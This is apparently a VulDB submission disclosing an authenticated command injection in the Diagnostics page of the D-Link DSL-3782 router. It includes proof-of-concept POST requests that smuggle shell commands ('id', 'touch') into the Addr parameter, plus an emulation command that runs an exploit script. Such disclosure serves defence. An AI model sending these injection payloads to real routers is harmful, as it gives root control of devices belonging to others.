| शीर्षक | D-Link DSL-3782 D-Link DSL-3782, firmware build 2016-07-28 (BUILDDATE=20160728155732) Firmware image SHA-256: c8faaffbac46194a716e311e84f79ae551 Command Injection |
|---|
| विवरण | A command injection vulnerability exists in the Diagnostics feature of the D-Link DSL-3782 router web interface. The endpoint `/cgi-bin/New_GUI/Set/Diagnostics.asp` accepts an `Addr` parameter (intended for ping/traceroute diagnostics) and passes it unsanitized into a `system()` call in the `cfg_manager` backend process.
The vulnerability allows an authenticated attacker to inject arbitrary shell commands by appending a semicolon (`;`) followed by the desired command to the `Addr` parameter. The injected command executes with root privileges on the router's Linux firmware.
Attack vector: Remote, via HTTP POST to the Diagnostics page.
Authentication: Required (valid session cookie, post-auth).
Impact: Root-level arbitrary command execution — full device compromise, credential theft, traffic interception, persistent backdoor.
Root cause: The `Addr` parameter is concatenated into a shell command string without input validation or shell escaping. The parameter is intended to be a hostname or IP address but is not validated as such.
Proof of Concept:
Authenticated HTTP request to trigger command injection:
```
POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1
Host: <router_ip>
Cookie: <valid_session_cookie>
Content-Type: application/x-www-form-urlencoded
Addr=127.0.0.1;id
```
Response confirms command execution — the `id` command output (e.g., `uid=0(root)`) appears in the Diagnostics page response.
Alternative PoC using file creation as proof:
```
POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1
Host: <router_ip>
Cookie: <valid_session_cookie>
Content-Type: application/x-www-form-urlencoded
Addr=127.0.0.1;touch /tmp/firmchain_canary
```
After sending, verify `/tmp/firmchain_canary` exists on the router filesystem (created by root).
Confirmed under QEMU user-mode emulation with proot:
```
proot -q /usr/bin/qemu-mips-static -r <dsl3782_rootfs> -b /tmp:/tmp -w / \
/usr/bin/lua tools/dlink/direct_exploit.lua \
"/cgi-bin/New_GUI/Set/Diagnostics.asp" "Addr" \
"127.0.0.1; echo RCE_PROOF > /tmp/pwned_dsl3782"
``` |
|---|
| स्रोत | ⚠️ https://github.com/MeetFireAgain/cve/tree/main/dlink-dsl3782 |
|---|
| उपयोगकर्ता | CindyCity (UID 90928) |
|---|
| सबमिशन | 14/08/2026 05:24 AM (1 महीना पहले) |
|---|
| संयम | 14/09/2026 09:16 AM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 403474 [D-Link DSL-3782 2016-07-28 Diagnostics Diagnostics.asp system Addr अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|